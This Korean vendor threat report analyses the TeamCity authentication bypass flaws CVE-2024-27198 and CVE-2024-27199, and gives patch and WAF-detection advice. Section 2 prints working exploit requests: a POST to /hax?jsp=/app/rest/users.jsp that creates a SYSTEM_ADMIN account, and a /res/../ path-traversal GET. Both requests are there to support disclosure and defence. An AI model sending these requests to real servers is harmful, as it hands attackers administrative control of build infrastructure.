fbpx

Threat Intelligence Report

Get up-to-date information on web application vulnerabilities, attacks, and how to respond.

Threat Intelligence Report 메인페이지로 돌아가기

[2024년 4월 취약점 보고서] JetBrains TeamCity Authentication Bypass Vulnerability


1. 개요

TeamCity는 JetBrains의 빌드 관리 및 지속 통합 서버로, 최근 해당 서비스에서 발견된 인증 우회 취약점인 CVE-2024-27198, CVE-2024-27199에 대해 분석한 내용을 정리하였습니다.

image.png

출처 : https://www.helpnetsecurity.com/2024/03/21/exploiting-cve-2024-27198/


2. 공격 유형

JetBrains는 2024년 3월, TeamCity에서 발견된 CVE-2024-27198 및 CVE-2024-27199에 대한 패치를 발표하였고, 이후 Rapid7에서 해당 취약점들에 대한 분석 보고서를 발표하였습니다.

2-1. CVE-2024-27198

JetBrains의 TeamCity의 경우 8111 포트를 통해 HTTP 웹 서버를 실행시킬 수 있는데, 이때 특정 클래스의 요청 처리 과정에서 조작된 URI 및 요청을 전송할 시 인증 과정 없이 인증이 필요한 Endpoint에 접근이 가능합니다.

해당 취약점을 활용하여 인증이 필요한 Endpoint에 접근하기 위해서는 아래의 요구사항을 충족해야 합니다.

  • 해당 서버에 존재하지 않는 URL을 요청합니다. 대부분의 PoC에서는 /hax URL로 요청하는 것으로 보여집니다.
  • jsp= 파라미터에 접근하고자 하는 Endpoint를 작성합니다.
  • 해당 URL이 ;.jsp 로 끝나도록 요청을 작성합니다.
POST /hax?jsp=/app/rest/users.jsp HTTP/1.1
Content-Length: 177
Content-Type: application/json
Host: 172.29.228.65:8111
User-Agent: HTTPie

{
  "username": "haxor",
  "password": "haxor",
  "email": "haxor",
  "roles": {
    "role": [
      {
        "roleId": "SYSTEM_ADMIN",
        "scope": "g"
      }
    ]
  }
}

2-2. CVE-2024-27199

JetBrains의 TeamCity의 HTTP 웹 서버에는 인증 과정이 필요없는 일부 Endpoint들이 존재하는데, 해당 Endpoint에 Path Traversal 구문인 ../ 구문을 활용하여 인증 과정이 필요한 Endpoint에 접근하여 시스템 설정을 수정하거나 민감한 정보에 접근할 수 있습니다.

인증 과정이 존재하지 않아 공격에 활용 가능한 Endpoint들은 다음과 같습니다.

  • /res/
  • /update/
  • /.well-known/acme-challenge/

해당 Endpoint와 ../ 구문을 활용하여 주로 공격 대상이 되는 Endpoint들은 다음과 같습니다.

  • /app/availableRunners
  • /app/https/settings/setPort
  • /app/https/settings/certificateInfo
  • /app/https/settings/defaultHttpsPort
  • /app/https/settings/fetchFromAcme
  • /app/https/settings/removeCertificate
  • /app/https/settings/uploadCertificate
  • /app/https/settings/termsOfService
  • /app/https/settings/triggerAcmeChallenge
  • /app/https/settings/cancelAcmeChallenge
  • /app/https/settings/getAcmeOrder
  • /app/https/settings/setRedirectStrategy
  • /app/pipeline
  • /app/oauth/space/createBuild.html

예시 공격 구문 :

GET /res/../admin/diagnostic.jsp HTTP/1.1
Host: 172.29.228.65:8111
User-Agent: HTTPie

3. 대응 방안

JetBrains에서는 현재 해당 취약점들에 대한 패치를 발표하였기 때문에 TeamCity On-Premises 서버를 2023.11.4 이상 버전으로 업데이트를 진행하여 대응이 가능합니다.

저희 AIWAF 제품에서는 CVE-2024-27198의 경우 2024년 3월 패턴 업데이트에 포함된 "2186: TeamCity Authentication Bypass" 패턴으로 탐지가 가능하며, CVE-2024-27199의 경우 "디렉토리 접근 탐지" 정책에서 정상적으로 탐지되고 있습니다.


4. 결론

다양한 곳에서 활용하는 CI/CD 제품인 JetBrains TeamCity에서 발견된 해당 취약점들은 대부분 쉽게 활용이 가능한 취약점이기에 빠르게 최신 버전으로 업데이트가 필요합니다.

저희 AIWAF 제품에서는 JetBrains TeamCity 및 타 제품에서 발생하는 취약점들에 대해 패턴을 개발하여 대응하고 있으며, 앞으로도 발견되는 관련 취약점들에 대해서도 신속하게 대응할 예정입니다.


5. 참고 자료

Scroll Up